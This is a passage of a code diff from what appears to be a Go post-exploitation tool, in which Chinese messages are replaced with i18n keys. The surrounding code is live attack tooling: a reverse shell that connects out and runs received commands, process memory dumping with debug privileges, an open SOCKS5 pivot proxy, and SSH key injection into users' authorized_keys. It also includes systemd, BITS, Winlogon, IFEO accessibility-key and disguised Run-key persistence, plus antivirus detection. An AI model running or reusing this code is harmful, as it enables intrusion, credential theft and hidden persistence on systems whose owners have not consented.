return 0, fmt.Errorf("查找Process32NextW函数失败: %w", err)
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "Process32NextW"), err)
}
lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW")
if err != nil {
return 0, fmt.Errorf("查找lstrcmpiW函数失败: %w", err)
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "lstrcmpiW"), err)
}
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
//nolint:errorlint // Windows LastError不应该wrapped
return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", windows.GetLastError())
return 0, fmt.Errorf(i18n.GetText("minidump_first_process_failed")+" (LastError: %d)", windows.GetLastError())
}
for {
namePtr, err := syscall.UTF16PtrFromString(name)
if err != nil {
return 0, fmt.Errorf("转换进程名失败: %w", err)
return 0, fmt.Errorf("%s: %w", i18n.GetText("minidump_process_name_convert_failed"), err)
}
ret, _, _ = lstrcmpi.Call(
@@ -344,7 +344,7 @@ func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (
}
}
return 0, fmt.Errorf("未找到进程: %s", name)
return 0, fmt.Errorf("%s", i18n.Tr("minidump_process_not_found", name))
}
// elevatePrivileges 提升权限
@@ -357,7 +357,7 @@ func (pm *ProcessManager) elevatePrivileges() error {
var token syscall.Token
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
if err != nil {
return fmt.Errorf("打开进程令牌失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("minidump_open_process_token_failed"), err)
}
defer func() { _ = token.Close() }()
@@ -365,7 +365,7 @@ func (pm *ProcessManager) elevatePrivileges() error {
privilegeName, err := syscall.UTF16PtrFromString("SeDebugPrivilege")
if err != nil {
return fmt.Errorf("转换权限名称失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("minidump_privilege_name_convert_failed"), err)
}
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
@@ -375,7 +375,7 @@ func (pm *ProcessManager) elevatePrivileges() error {
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
)
if ret == 0 {
return fmt.Errorf("查找特权值失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("minidump_lookup_privilege_failed"), err)
}
tokenPrivileges.PrivilegeCount = 1
@@ -389,7 +389,7 @@ func (pm *ProcessManager) elevatePrivileges() error {
0, 0, 0,
)
if ret == 0 {
return fmt.Errorf("调整令牌特权失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("minidump_adjust_token_failed"), err)
}
return nil
@@ -400,7 +400,7 @@ func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
handle, _, _ := proc.Call()
if handle == 0 {
return 0, fmt.Errorf("获取当前进程句柄失败")
return 0, fmt.Errorf("%s", i18n.GetText("minidump_current_process_failed"))
}
return syscall.Handle(handle), nil
}
@@ -417,7 +417,7 @@ func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32
case err := <-resultChan:
return err
case <-ctx.Done():
return fmt.Errorf("内存转储超时 (120秒)")
return fmt.Errorf("%s", i18n.GetText("minidump_timeout"))
}
}
@@ -437,7 +437,7 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump")
if err != nil {
return fmt.Errorf("查找MiniDumpWriteDump函数失败: %w", err)
return fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "MiniDumpWriteDump"), err)
}
// 转储类型标志
@@ -480,7 +480,7 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
if ret == 0 {
//nolint:errorlint // Windows LastError不应该wrapped
return fmt.Errorf("写入转储文件失败 (LastError: %d)", windows.GetLastError())
return fmt.Errorf(i18n.GetText("minidump_write_dump_failed")+" (LastError: %d)", windows.GetLastError())
}
}
@@ -491,14 +491,14 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
proc, err := pm.kernel32.FindProc("OpenProcess")
if err != nil {
return 0, fmt.Errorf("查找OpenProcess函数失败: %w", err)
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "OpenProcess"), err)
}
handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
if handle == 0 {
lastError := windows.GetLastError()
//nolint:errorlint // Windows LastError不应该wrapped
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError)
return 0, fmt.Errorf(i18n.GetText("minidump_open_process_failed")+": %v (LastError: %d)", callErr, lastError)
}
return handle, nil
}
@@ -512,7 +512,7 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
createFile, err := pm.kernel32.FindProc("CreateFileW")
if err != nil {
return 0, fmt.Errorf("查找CreateFileW函数失败: %w", err)
return 0, fmt.Errorf("%s: %w", i18n.Tr("minidump_find_proc_failed", "CreateFileW"), err)
}
handle, _, callErr := createFile.Call(
@@ -527,7 +527,7 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
if handle == INVALID_HANDLE_VALUE {
lastError := windows.GetLastError()
//nolint:errorlint // Windows LastError不应该wrapped
return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError)
return 0, fmt.Errorf(i18n.GetText("file_create_failed")+": %v (LastError: %d)", callErr, lastError)
}
return handle, nil
+9 -9
View File
@@ -63,14 +63,14 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
port = 4444
}
output.WriteString("=== Go原生反弹Shell ===\n")
output.WriteString(fmt.Sprintf("目标: %s\n", target))
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
output.WriteString(i18n.GetText("reverseshell_header") + "\n")
output.WriteString(i18n.Tr("local_target", target) + "\n")
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
// 启动反弹Shell
err = p.startNativeReverseShell(ctx, host, port, state)
if err != nil {
output.WriteString(fmt.Sprintf("反弹Shell错误: %v\n", err))
output.WriteString(i18n.Tr("reverseshell_error", err) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -78,7 +78,7 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
}
}
output.WriteString("✓ 反弹Shell已完成\n")
output.WriteString(i18n.GetText("reverseshell_done") + "\n")
common.LogSuccess(i18n.Tr("reverseshell_complete", target))
return &plugins.Result{
@@ -94,7 +94,7 @@ func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host s
// 连接到目标
conn, err := net.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port)))
if err != nil {
return fmt.Errorf("连接失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("connection_failed_plain"), err)
}
defer func() { _ = conn.Close() }()
@@ -141,7 +141,7 @@ func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host s
if errors.As(err, &netErr) && netErr.Timeout() {
continue
}
return fmt.Errorf("读取命令错误: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("command_read_failed"), err)
}
// 清理命令
@@ -175,13 +175,13 @@ func (p *ReverseShellPlugin) executeCommand(cmdLine string) string {
case "linux", "darwin":
cmd = exec.Command("bash", "-c", cmdLine)
default:
return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS)
return i18n.Tr("unsupported_os", runtime.GOOS)
}
// 执行命令并获取输出
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Sprintf("错误: %v\n%s", err, string(output))
return i18n.Tr("command_error_with_output", err, string(output))
}
return string(output)
+21 -21
View File
@@ -47,16 +47,16 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
port = 1080 // 默认端口
}
output.WriteString("=== SOCKS5代理服务器 ===\n")
output.WriteString(fmt.Sprintf("监听端口: %d\n", port))
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
output.WriteString(i18n.GetText("socks5_header") + "\n")
output.WriteString(i18n.Tr("local_listen_port", port) + "\n")
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
common.LogInfo(i18n.Tr("socks5_starting", port))
// 启动SOCKS5代理服务器
err := p.startSocks5Server(ctx, port, state)
if err != nil {
output.WriteString(fmt.Sprintf("SOCKS5代理服务器错误: %v\n", err))
output.WriteString(i18n.Tr("socks5_server_error", err) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -64,7 +64,7 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
}
}
output.WriteString("✓ SOCKS5代理已完成\n")
output.WriteString(i18n.GetText("socks5_done") + "\n")
common.LogSuccess(i18n.Tr("socks5_complete", port))
return &plugins.Result{
@@ -80,7 +80,7 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta
// 监听指定端口
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
if err != nil {
return fmt.Errorf("监听端口失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("listen_port_failed"), err)
}
defer func() { _ = listener.Close() }()
@@ -164,18 +164,18 @@ func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error {
buffer := make([]byte, 256)
n, err := conn.Read(buffer)
if err != nil {
return fmt.Errorf("读取握手请求失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err)
}
if n < 3 || buffer[0] != 0x05 { // SOCKS版本必须是5
return fmt.Errorf("不支持的SOCKS版本")
return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version"))
}
// 发送握手响应(无认证)
response := []byte{0x05, 0x00} // 版本5,无认证
_, err = conn.Write(response)
if err != nil {
return fmt.Errorf("发送握手响应失败: %w", err)
return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_write_failed"), err)
}
return nil
@@ -187,11 +187,11 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
buffer := make([]byte, 256)
n, err := clientConn.Read(buffer)
if err != nil {
return nil, 0, fmt.Errorf("读取连接请求失败: %w", err)
return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_request_read_failed"), err)
}
if n < 7 || buffer[0] != 0x05 {
return nil, 0, fmt.Errorf("无效的SOCKS5请求")
return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request"))
}
cmd := buffer[1]
@@ -199,7 +199,7 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
// 发送不支持的命令响应
response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
_, _ = clientConn.Write(response)
return nil, 0, fmt.Errorf("不支持的命令: %d", cmd)
return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_command")+": %d", cmd)
}
// 解析目标地址
@@ -210,23 +210,23 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
switch addrType {
case 0x01: // IPv4
if n < 10 {
return nil, 0, fmt.Errorf("IPv4地址格式错误")
return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv4_address_invalid"))
}
targetHost = fmt.Sprintf("%d.%d.%d.%d", buffer[4], buffer[5], buffer[6], buffer[7])
targetPort = int(buffer[8])<<8 + int(buffer[9])
case 0x03: // 域名
if n < 5 {
return nil, 0, fmt.Errorf("域名格式错误")
return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_format_invalid"))
}
domainLen := int(buffer[4])
if n < 5+domainLen+2 {
return nil, 0, fmt.Errorf("域名长度错误")
return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_length_invalid"))
}
targetHost = string(buffer[5 : 5+domainLen])
targetPort = int(buffer[5+domainLen])<<8 + int(buffer[5+domainLen+1])
case 0x04: // IPv6
if n < 22 {
return nil, 0, fmt.Errorf("IPv6地址格式错误")
return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv6_address_invalid"))
}
// IPv6地址解析(简化实现)
targetHost = net.IP(buffer[4:20]).String()
@@ -235,7 +235,7 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
// 发送不支持的地址类型响应
response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
_, _ = clientConn.Write(response)
return nil, 0, fmt.Errorf("不支持的地址类型: %d", addrType)
return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_address_type")+": %d", addrType)
}
// 连接目标服务器
@@ -245,13 +245,13 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
// 发送连接失败响应
response := []byte{0x05, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
_, _ = clientConn.Write(response)
return nil, 0, fmt.Errorf("连接目标服务器失败: %w", err)
return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_target_connect_failed"), err)
}
// 获取本地监听端口(从targetConn获取)
localAddr, ok := targetConn.LocalAddr().(*net.TCPAddr)
if !ok {
return nil, 0, fmt.Errorf("无法获取本地地址")
return nil, 0, fmt.Errorf("%s", i18n.GetText("local_address_unavailable"))
}
localPort := localAddr.Port
@@ -269,10 +269,10 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
_, err = clientConn.Write(response)
if err != nil {
_ = targetConn.Close()
return nil, 0, fmt.Errorf("发送成功响应失败: %w", err)
return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_success_response_failed"), err)
}
common.LogDebug(fmt.Sprintf("建立代理连接: %s", targetAddr))
common.LogDebug(i18n.Tr("socks5_proxy_connection_established", targetAddr))
return targetConn, localPort, nil
}
+7 -7
View File
@@ -38,31 +38,31 @@ func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session
authFile := filepath.Join(sshDir, "authorized_keys")
if err := os.MkdirAll(sshDir, 0700); err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: 无法创建 .ssh 目录: %v\n", u.Username, err))
output.WriteString(i18n.Tr("sshkey_mkdir_failed", u.Username, err) + "\n")
continue
}
pubKey, privKey, err := p.generateKeyPair()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: 密钥生成失败: %v\n", u.Username, err))
output.WriteString(i18n.Tr("sshkey_generate_failed", u.Username, err) + "\n")
continue
}
// 追加公钥到 authorized_keys
existing, err := os.ReadFile(authFile)
if err != nil && !os.IsNotExist(err) {
output.WriteString(fmt.Sprintf("[失败] %s: 读取 authorized_keys 失败: %v\n", u.Username, err))
output.WriteString(i18n.Tr("sshkey_authorized_read_failed", u.Username, err) + "\n")
continue
}
if strings.Contains(string(existing), pubKey) {
output.WriteString(fmt.Sprintf("[跳过] %s: 公钥已存在\n", u.Username))
output.WriteString(i18n.Tr("sshkey_public_exists", u.Username) + "\n")
continue
}
entry := pubKey + "\n"
f, err := os.OpenFile(authFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: 无法写入 authorized_keys: %v\n", u.Username, err))
output.WriteString(i18n.Tr("sshkey_authorized_write_failed", u.Username, err) + "\n")
continue
}
_, err = f.WriteString(entry)
@@ -74,11 +74,11 @@ func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session
// 保存私钥到当前目录
keyFile := fmt.Sprintf("id_%s_%s", u.Username, "ed25519")
if err := os.WriteFile(keyFile, []byte(privKey), 0600); err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: 私钥保存失败: %v\n", u.Username, err))
output.WriteString(i18n.Tr("sshkey_private_save_failed", u.Username, err) + "\n")
continue
}
output.WriteString(fmt.Sprintf("[成功] %s: 公钥已注入 %s,私钥保存为 %s\n", u.Username, authFile, keyFile))
output.WriteString(i18n.Tr("sshkey_injected", u.Username, authFile, keyFile) + "\n")
successCount++
}
+23 -23
View File
@@ -38,28 +38,28 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo,
var output strings.Builder
if runtime.GOOS != "linux" {
output.WriteString("系统服务持久化只支持Linux平台\n")
output.WriteString(i18n.GetText("systemdservice_linux_only") + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
Error: fmt.Errorf("%s", i18n.Tr("unsupported_platform", runtime.GOOS)),
}
}
// 从config获取配置
targetFile := config.PersistenceTargetFile
if targetFile == "" {
output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n")
output.WriteString(i18n.GetText("persistence_file_required") + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
Error: fmt.Errorf("未指定目标文件"),
Error: fmt.Errorf("%s", i18n.GetText("target_file_not_specified")),
}
}
// 检查目标文件是否存在
if _, err := os.Stat(targetFile); os.IsNotExist(err) {
output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile))
output.WriteString(i18n.Tr("target_file_not_exist", targetFile) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -69,7 +69,7 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo,
// 检查systemctl是否可用
if _, err := exec.LookPath("systemctl"); err != nil {
output.WriteString(fmt.Sprintf("systemctl命令不可用: %v\n", err))
output.WriteString(i18n.Tr("systemctl_unavailable", err) + "\n")
return &plugins.Result{
Success: false,
Output: output.String(),
@@ -77,59 +77,59 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo,
}
}
output.WriteString("=== 系统服务持久化 ===\n")
output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile))
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
output.WriteString(i18n.GetText("systemdservice_header") + "\n")
output.WriteString(i18n.Tr("local_target_file", targetFile) + "\n")
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
var successCount int
// 1. 复制文件到服务目录
servicePath, err := p.copyToServicePath(targetFile)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 复制文件失败: %v\n", err))
output.WriteString(i18n.Tr("copy_file_failed", err) + "\n")
} else {
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", servicePath))
output.WriteString(i18n.Tr("file_copied_to", servicePath) + "\n")
successCount++
}
// 2. 创建systemd服务文件
serviceFiles, err := p.createSystemdServices(servicePath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 创建systemd服务失败: %v\n", err))
output.WriteString(i18n.Tr("systemdservice_create_failed", err) + "\n")
} else {
output.WriteString(fmt.Sprintf("✓ 已创建systemd服务: %s\n", strings.Join(serviceFiles, ", ")))
output.WriteString(i18n.Tr("systemdservice_created", strings.Join(serviceFiles, ", ")) + "\n")
successCount++
}
// 3. 启用并启动服务
err = p.enableAndStartServices(serviceFiles)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 启动服务失败: %v\n", err))
output.WriteString(i18n.Tr("systemdservice_start_failed", err) + "\n")
} else {
output.WriteString("✓ 服务已启用并启动\n")
output.WriteString(i18n.GetText("systemdservice_started") + "\n")
successCount++
}
// 4. 创建用户级服务
userServiceFiles, err := p.createUserServices(servicePath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 创建用户服务失败: %v\n", err))
output.WriteString(i18n.Tr("systemdservice_user_create_failed", err) + "\n")
} else {
output.WriteString(fmt.Sprintf("✓ 已创建用户服务: %s\n", strings.Join(userServiceFiles, ", ")))
output.WriteString(i18n.Tr("systemdservice_user_created", strings.Join(userServiceFiles, ", ")) + "\n")
successCount++
}
// 5. 创建定时器服务
err = p.createTimerServices(servicePath)
if err != nil {
output.WriteString(fmt.Sprintf("✗ 创建定时器服务失败: %v\n", err))
output.WriteString(i18n.Tr("systemdservice_timer_create_failed", err) + "\n")
} else {
output.WriteString("✓ 已创建systemd定时器\n")
output.WriteString(i18n.GetText("systemdservice_timer_created") + "\n")
successCount++
}
// 输出统计
output.WriteString(fmt.Sprintf("\n系统服务持久化完成: 成功(%d) 总计(%d)\n", successCount, 5))
output.WriteString("\n" + i18n.Tr("systemdservice_complete_summary", successCount, 5) + "\n")
if successCount > 0 {
common.LogSuccess(i18n.Tr("systemdservice_success", successCount))
@@ -160,7 +160,7 @@ func (p *SystemdServicePlugin) copyToServicePath(targetFile string) (string, err
}
if targetDir == "" {
return "", fmt.Errorf("无法创建服务目录")
return "", fmt.Errorf("%s", i18n.GetText("service_dir_create_failed"))
}
// 生成服务可执行文件名
@@ -273,7 +273,7 @@ StandardError=null
}
if len(created) == 0 {
return nil, fmt.Errorf("无法创建任何systemd服务文件")
return nil, fmt.Errorf("%s", i18n.GetText("systemdservice_create_none"))
}
return created, nil
@@ -299,7 +299,7 @@ func (p *SystemdServicePlugin) enableAndStartServices(serviceFiles []string) err
}
if len(errors) > 0 {
return fmt.Errorf("服务操作错误: %s", strings.Join(errors, "; "))
return fmt.Errorf(i18n.GetText("service_operation_error")+": %s", strings.Join(errors, "; "))
}
return nil
+1 -1
View File
@@ -257,7 +257,7 @@ func (p *SystemInfoPlugin) collectAVInfo() {
}
}
if len(matched) > 0 {
p.logSuccess("systeminfo_antivirus", fmt.Sprintf("%s (%d个进程)", avName, len(matched)))
p.logSuccess("systeminfo_antivirus", i18n.Tr("systeminfo_antivirus_process_count", avName, len(matched)))
for _, proc := range matched {
p.log("systeminfo_av_process", proc)
}
+11 -11
View File
@@ -26,10 +26,10 @@ func NewWinBITSPlugin() *WinBITSPlugin {
func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
}
absPath, _ := filepath.Abs(pePath)
@@ -41,7 +41,7 @@ func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session
// 创建任务并提取 GUID
out, err := exec.Command("bitsadmin", "/create", "/download", jobName).CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] 创建任务: %s\n", strings.TrimSpace(string(out))))
output.WriteString(i18n.Tr("winbits_create_task_failed", strings.TrimSpace(string(out))) + "\n")
return &plugins.Result{Success: false, Output: output.String()}
}
@@ -55,29 +55,29 @@ func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session
}
}
if guid == "" {
output.WriteString("[失败] 无法提取任务 GUID\n")
output.WriteString(i18n.GetText("winbits_guid_extract_failed") + "\n")
return &plugins.Result{Success: false, Output: output.String()}
}
output.WriteString(fmt.Sprintf("[成功] 创建任务: %s (%s)\n", jobName, guid))
output.WriteString(i18n.Tr("winbits_task_created", jobName, guid) + "\n")
steps := []struct {
desc string
args []string
}{
{"添加文件", []string{"/addfile", guid, "http://localhost/update", fmt.Sprintf(`%s\%s_tmp`, os.TempDir(), baseName)}},
{"设置回调", []string{"/SetNotifyCmdLine", guid, absPath, "NUL"}},
{"设置重试", []string{"/SetMinRetryDelay", guid, "60"}},
{"恢复任务", []string{"/resume", guid}},
{i18n.GetText("winbits_add_file"), []string{"/addfile", guid, "http://localhost/update", fmt.Sprintf(`%s\%s_tmp`, os.TempDir(), baseName)}},
{i18n.GetText("winbits_set_callback"), []string{"/SetNotifyCmdLine", guid, absPath, "NUL"}},
{i18n.GetText("winbits_set_retry"), []string{"/SetMinRetryDelay", guid, "60"}},
{i18n.GetText("winbits_resume_task"), []string{"/resume", guid}},
}
successCount := 1
for _, step := range steps {
out, err := exec.Command("bitsadmin", step.args...).CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", step.desc, strings.TrimSpace(string(out))))
output.WriteString(i18n.Tr("local_step_failed", step.desc, strings.TrimSpace(string(out))) + "\n")
continue
}
output.WriteString(fmt.Sprintf("[成功] %s\n", step.desc))
output.WriteString(i18n.Tr("local_step_success", step.desc) + "\n")
successCount++
}
+7 -7
View File
@@ -26,10 +26,10 @@ func NewWinIFEOPlugin() *WinIFEOPlugin {
func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
}
absPath, _ := filepath.Abs(pePath)
@@ -39,9 +39,9 @@ func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session
exe string
desc string
}{
{"sethc.exe", "粘滞键 (Shift×5)"},
{"utilman.exe", "辅助功能 (Win+U)"},
{"narrator.exe", "讲述人"},
{"sethc.exe", i18n.GetText("winifeo_sticky_keys")},
{"utilman.exe", i18n.GetText("winifeo_accessibility")},
{"narrator.exe", i18n.GetText("winifeo_narrator")},
}
var output strings.Builder
@@ -51,10 +51,10 @@ func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session
key := fmt.Sprintf(`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s`, t.exe)
out, err := exec.Command("reg", "add", key, "/v", "Debugger", "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", t.desc, strings.TrimSpace(string(out))))
output.WriteString(i18n.Tr("local_step_failed", t.desc, strings.TrimSpace(string(out))) + "\n")
continue
}
output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", t.desc, t.exe))
output.WriteString(i18n.Tr("local_step_success_detail", t.desc, t.exe) + "\n")
successCount++
}
+9 -9
View File
@@ -26,22 +26,22 @@ func NewWinLogonPlugin() *WinLogonPlugin {
func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
}
absPath, _ := filepath.Abs(pePath)
key := `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`
entries := []struct {
name string
value string
desc string
name string
value string
desc string
}{
{"Userinit", fmt.Sprintf(`C:\Windows\system32\userinit.exe,%s`, absPath), "Userinit 追加"},
{"Shell", fmt.Sprintf(`explorer.exe,%s`, absPath), "Shell 追加"},
{"Userinit", fmt.Sprintf(`C:\Windows\system32\userinit.exe,%s`, absPath), i18n.GetText("winlogon_userinit_append")},
{"Shell", fmt.Sprintf(`explorer.exe,%s`, absPath), i18n.GetText("winlogon_shell_append")},
}
var output strings.Builder
@@ -50,10 +50,10 @@ func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
for _, e := range entries {
out, err := exec.Command("reg", "add", key, "/v", e.name, "/t", "REG_SZ", "/d", e.value, "/f").CombinedOutput()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %s\n", e.desc, strings.TrimSpace(string(out))))
output.WriteString(i18n.Tr("local_step_failed", e.desc, strings.TrimSpace(string(out))) + "\n")
continue
}
output.WriteString(fmt.Sprintf("[成功] %s\n", e.desc))
output.WriteString(i18n.Tr("local_step_success", e.desc) + "\n")
successCount++
}
+10 -10
View File
@@ -28,23 +28,23 @@ func NewWinRegistryPlugin() *WinRegistryPlugin {
func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.WinPEFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.GetText("local_pe_not_specified"))}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
return &plugins.Result{Success: false, Error: fmt.Errorf("%s", i18n.Tr("local_pe_not_found", pePath))}
}
absPath, _ := filepath.Abs(pePath)
baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath))
entries := []struct {
key string
name string
desc string
key string
name string
desc string
}{
{`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("WindowsUpdate_%s", baseName), "当前用户 Run"},
{`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("SystemUpdate_%s", baseName), "本地机器 Run"},
